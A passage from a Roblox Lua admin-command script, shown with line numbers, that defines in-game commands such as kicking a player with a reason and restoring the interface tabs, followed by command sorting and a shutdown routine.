6721 BodyGyro.CFrame = Root.CFrame
6722 end
6723 end
6724 end
6725 until Humanoid.Health <= 0
6726 for _,Limb in pairs(Character:GetChildren()) do
6727 for Name,Offset in pairs(Limbs) do
6728 if Limb.Name == Name then
6729 local RocketPropulsion = Limb:FindFirstChildOfClass("RocketPropulsion")
6730 if RocketPropulsion then
6731 RocketPropulsion:Abort()
6732 RocketPropulsion:Destroy()
6733 end
6734 end
6735 end
6736 end
6737 end;
6738 false;
6739 };
6740
6741 {
6742 "Kick"; -- Name
6743 "Kicks [Player] with reason of [Text]."; -- Description
6744 {}; -- Aliases
6745 {"Player","Text"}; -- Argument types
6746 function(Arguments)
6747 if Arguments[1] then
6748 local Reason = "No reason provided."
6749 if Arguments[2] and Arguments[2][1] then
6750 Reason = Arguments[2][1]
6751 end
6752 for _,plr in pairs(Arguments[1]) do
6753 plr:Kick(Reason)
6754 CreateTab({
6755 Text = "Kicked "..tostring(Arguments[1][1].Name)..".";
6756 },10)
6757 end
6758 end
6759 end;
6760 true;
6761 };
6762 {
6763 "FixTabs"; -- Name
6764 "Fixes your tabs."; -- Description
6765 {"Fix"}; -- Aliases
6766 {}; -- Argument types
6767 function(Arguments)
6768 SetupTabs()
6769 end;
6770 true;
6771 };
6772}
6773table.sort(Commands,function(a,b)
6774 return tostring(a[1]) < tostring(b[1])
6775end)
6776
6777Stop = function()
6778 DeleteAllTabs()
6779 for _,Event in pairs(Events) do
6780 Event:Disconnect()
6781 end
6782 TabFolder:Destroy()
6783 script:Destroy()
6784end
6785
6786Pages["Stats"]()
6787CreateTab({
6788 Text = "Run /commands to get a list of commands.";
6789 Color = Colors["Info"];
6790 Call = Pages["Commands"];
6791})